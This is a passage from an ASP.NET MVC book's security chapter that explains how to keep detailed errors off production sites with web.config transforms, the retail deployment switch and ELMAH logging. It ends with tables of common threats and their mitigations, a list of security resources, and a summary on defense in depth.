If you'll need access to detailed errors on other servers (for example, in a stage or test environment), I recommend you use web.config transforms to manage the customErrors setting based on the build configuration. When you create a new ASP.NET MVC 4 application, it will already have configuration transforms set up for debug and release configurations, and you can easily add additional transforms for other environments. The Web.Release.config transform file, which is included in an ASP.NET MVC application, contains the following code:

<system.web>

<compilation xdt:Transform="RemoveAttributes(debug)" />

<!--

In the example below, the "Replace" transform will replace the entire

<customErrors> section of your web.config file.

Note that because there is only one customErrors section under the

<system.web> node, there is no need to use the "xdt:Locator" attribute.

<customErrors defaultRedirect="GenericError.htm"

mode="RemoteOnly" xdt:Transform="Replace">

<error statusCode="500" redirect="InternalError.htm"/>

</customErrors>

-->

</system.web>

This transform includes a commented-out section that replaces the customErrors mode with RemoteOnly when you build your application in Release mode. Turning this configuration transform on is as simple as uncommenting the customErrors node, as shown in the following code:

<system.web>

<compilation xdt:Transform="RemoveAttributes(debug)" />

<!--

In the example below, the "Replace" transform will replace the entire

<customErrors> section of your web.config file.

Note that because there is only one customErrors section under the

<system.web> node, there is no need to use the "xdt:Locator" attribute.

-->

<customErrors defaultRedirect="GenericError.htm"

mode="RemoteOnly" xdt:Transform="Replace">

<error statusCode="500" redirect="InternalError.htm"/>

</customErrors>

</system.web>

Using Retail Deployment Configuration in Production

Rather than fiddle with individual configuration settings, you can make use of a handy (yet sadly underutilized) feature in ASP.NET: the retail deployment configuration.

This simple switch in your server's machine.config file (found at %windir%\Microsoft.NET\Framework\<frameworkversion>\Config) tells ASP.NET whether it is running in retail deployment mode. The deployment configuration just has two settings: Retail can be either trueor false. The deployment / retail value defaults to false; you can set it to true with the following configuration setting:

<system.web>

<deployment retail="true" />

</system.web>

Setting deployment / retail to true does a few things:

· customErrors mode is set to On (the most secure setting)

· Trace output is disabled

· Debug is disabled

These settings override any application-level settings in web.config.

Using a Dedicated Error Logging System

The best solution is to never turn off custom errors in any environment. Instead, I recommend that you make use of a dedicated error logging system like ELMAH (mentioned previously in this chapter, as well as in the Exception Logging section of Chapter 17). ELMAH is a free library available via NuGet, and offers a variety of methods for viewing your error information securely. For instance, you can have ELMAH write error information to a database table, which is never exposed on your website.

You can read more about how to configure and use ELMAH at http://code.google.com/p/elmah/.

SECURITY RECAP AND HELPFUL RESOURCES

Table 7.1 recaps the threats and solutions to some common web security issues.

Table 7.1 ASP.NET Security

Threat

Solutions

Complacency

Educate yourself. Assume your applications will be hacked. Remember that protecting user data is important.

Cross-Site Scripting (XSS)

HTML encode all content. Encode attributes. Remember JavaScript encoding. Use AntiXSS.

Cross-Site Request Forgery (CSRF)

Token verification. Idempotent GETs. HttpReferrer validation.

Over-Posting

Use the Bind attribute to explicitly whitelist fields. Use blacklists sparingly.

ASP.NET MVC gives you the tools you need to keep your website secure, but applying them wisely is up to you. True security is an ongoing effort that requires that you monitor and adapt to an evolving threat. It's your responsibility, but you're not alone. Plenty of great resources are available, both in the Microsoft web development sphere and in the Internet security world at large. Table 7.2 shows a list of resources to get you started.

Table 7.2 Security Resources

Resource

URL

Microsoft Security Developer Center

http://msdn.microsoft.com/en-us/security/default.aspx

Book: Beginnning ASP.NET Security (Barry Dorrans)

http://www.wrox.com/WileyCDA/WroxTitle/Beginning-ASP-NET-Security.productCd-0470743654.html

Free e-book:
OWASP Top 10 for .NET Developers

http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-1.html

Microsoft Code Analysis Tool .NET (CAT.NET)

http://www.microsoft.com/downloads/details .aspx?FamilyId=0178e2ef-9da8-445e-9348-c93f24cc9f9d&displaylang=en

AntiXSS

http://antixss.codeplex.com/

Microsoft Information Security Team (makers of AntiXSS and CAT.NET)

http://blogs.msdn.com/securitytools

Open Web Application Security Project (OWASP)

http://www.owasp.org/

SUMMARY

We started the chapter off this way, and ending it this way is appropriate: ASP.NET MVC gives you a lot of control and removes a lot of the abstraction that some developers consider an obstacle. With greater freedom comes greater power, and with greater power comes greater responsibility.

Microsoft is committed to helping you “fall into the pit of success” — meaning that the ASP.NET MVC team wants the right thing to be apparent and simple to develop. Not everyone's mind works the same way, however, and there were undoubtedly times when the ASP.NET MVC team made a decision with the framework that might not be congruent with the way you've typically done things. The good news is that when this happens, you have a way to implement it your own way—which is the whole point of ASP.NET MVC.

There's no silver bullet with security—you need to consider it throughout your development process and in all components of your application. Bulletproof database security can be circumvented if your application allows SQL injection attacks; strict user management falls apart if attackers can trick users into giving away their passwords by exploiting vulnerabilities such as open redirection attacks. Computer security experts recommend that you respond to a wide attack surface with a strategy known as defense in depth. This term, derived from military strategy, relies on layered safeguards so that even if one security area is breached, the entire system is not compromised.

Security issues in web applications invariably come down to very simple issues on the developer's part: bad assumptions, misinformation, and lack of education. In this chapter, we did our best to tell you about the enemy out there. The best way to keep yourself protected is to know your enemy and know yourself. Get educated and get ready for battle.